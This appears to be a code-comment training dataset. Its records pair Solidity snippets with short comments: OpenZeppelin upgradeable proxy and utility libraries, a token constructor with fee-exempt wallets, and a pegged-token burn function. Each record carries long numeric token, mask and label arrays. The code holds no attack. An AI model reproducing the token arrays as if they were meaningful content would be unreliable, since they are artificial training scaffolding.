https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by {upgradeTo} and {upgradeToAndCall}. Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. ```solidity function _authorizeUpgrade(address) internal override onlyOwner {} ```/ SPDX-License-Identifier: MIT @custom:security-contact [email protected],[email protected]
interface IBinarySearch { function binarySearch(uint256[] memory _data, uint256 _target) external returns (uint256); }
1,705,790
[ 1, 2083, 716, 1410, 15226, 1347, 1375, 3576, 18, 15330, 68, 353, 486, 10799, 358, 8400, 326, 6835, 18, 11782, 635, 288, 15097, 774, 97, 471, 288, 15097, 774, 1876, 1477, 5496, 24773, 1230, 16, 333, 445, 903, 999, 392, 15187, 30, 3860, 18, 4539, 63, 3860, 3325, 65, 9606, 4123, 487, 288, 5460, 429, 17, 3700, 5541, 5496, 31621, 30205, 560, 445, 389, 22488, 10784, 12, 2867, 13, 2713, 3849, 1338, 5541, 2618, 31621, 19, 11405, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 632, 3662, 30, 7462, 17, 8994, 306, 3652, 131, 259, 1117, 6487, 63, 3652, 131, 259, 1117, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 5905, 2979, 288, 203, 565, 445, 31903, 12, 11890, 5034, 8526, 3778, 389, 892, 16, 2254, 5034, 389, 3299, 13, 203, 3639, 3903, 203, 3639, 1135, 261, 11890, 5034, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x792d09D6d269bcf54e8F69981c178ea69DFc0c3F/sources/Fourium.sol
Create a pair for this new token
constructor() ERC20("Fourium", "FRM") { _tokengeneration(msg.sender, 200_000_000 * 10**decimals()); IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; exemptFee[address(this)] = true; exemptFee[msg.sender] = true; exemptFee[marketingWallet] = true; exemptFee[devWallet] = true; exemptFee[deadWallet] = true; }
4,183,739
[ 1, 1684, 279, 3082, 364, 333, 394, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 42, 477, 5077, 3113, 315, 42, 8717, 7923, 288, 203, 3639, 389, 2316, 25514, 12, 3576, 18, 15330, 16, 4044, 67, 3784, 67, 3784, 380, 1728, 636, 31734, 10663, 203, 203, 3639, 467, 8259, 389, 10717, 273, 467, 8259, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 3639, 1758, 389, 6017, 273, 467, 1733, 24899, 10717, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 10717, 18, 59, 1584, 44, 10663, 203, 203, 3639, 4633, 273, 389, 10717, 31, 203, 3639, 3082, 273, 389, 6017, 31, 203, 3639, 431, 5744, 14667, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 3639, 431, 5744, 14667, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 431, 5744, 14667, 63, 3355, 21747, 16936, 65, 273, 638, 31, 203, 3639, 431, 5744, 14667, 63, 5206, 16936, 65, 273, 638, 31, 203, 3639, 431, 5744, 14667, 63, 22097, 16936, 65, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.21 <0.6.0; import 'link_token/contracts/ERC677Token.sol'; import 'link_token/contracts/token/linkStandardToken.sol'; contract LinkTokenPegged is linkStandardToken, ERC677Token { string public constant name = 'ChainLink Token Pegged'; uint8 public constant decimals = 18; string public constant symbol = 'LINKWETH'; uint public constant rate = 100; event MintBurn(address indexed addr, uint value, bool mint); constructor () { totalSupply = 0; } /** * @dev transfer token to a specified address with additional data if the recipient is a contract. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes _data) public validRecipient(_to) returns (bool success) { return super.transferAndCall(_to, _value, _data); } /** * @dev transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public validRecipient(_to) returns (bool success) { return super.transfer(_to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public validRecipient(_spender) returns (bool) { return super.approve(_spender, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validRecipient(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } // 1-ETH Peg /** * @dev mint tokens using eth. */ function mintEthToLink() public payable returns (bool) { uint link_value = msg.value.mul(rate); balances[msg.sender] = balances[msg.sender].add(link_value); totalSupply = totalSupply.add(link_value); emit MintBurn(msg.sender, link_value, true); return true; } /** * @dev burn tokens using link. * @param _value The amount to be burnt. */ function burnLinkToEth(uint _value) public returns (bool) { require(_value <= balances[msg.sender], "Invalid balance"); uint eth_value = _value.div(rate); msg.sender.transfer(eth_value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit MintBurn(msg.sender, _value, false); return true; } function ethBalance() public view returns (uint) { return this.balance; } // MODIFIERS modifier validRecipient(address _recipient) { require(_recipient != address(0) && _recipient != address(this)); _; } }
* @dev burn tokens using link. @param _value The amount to be burnt./
function burnLinkToEth(uint _value) public returns (bool) { require(_value <= balances[msg.sender], "Invalid balance"); uint eth_value = _value.div(rate); msg.sender.transfer(eth_value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit MintBurn(msg.sender, _value, false); return true; }
5,400,781
[ 1, 70, 321, 2430, 1450, 1692, 18, 225, 389, 1132, 1021, 3844, 358, 506, 18305, 88, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18305, 2098, 774, 41, 451, 12, 11890, 389, 1132, 13, 203, 565, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 24899, 1132, 1648, 324, 26488, 63, 3576, 18, 15330, 6487, 315, 1941, 11013, 8863, 203, 3639, 2254, 13750, 67, 1132, 273, 389, 1132, 18, 2892, 12, 5141, 1769, 203, 3639, 1234, 18, 15330, 18, 13866, 12, 546, 67, 1132, 1769, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 324, 26488, 63, 3576, 18, 15330, 8009, 1717, 24899, 1132, 1769, 203, 3639, 2078, 3088, 1283, 273, 2078, 3088, 1283, 18, 1717, 24899, 1132, 1769, 203, 3639, 3626, 490, 474, 38, 321, 12, 3576, 18, 15330, 16, 389, 1132, 16, 629, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
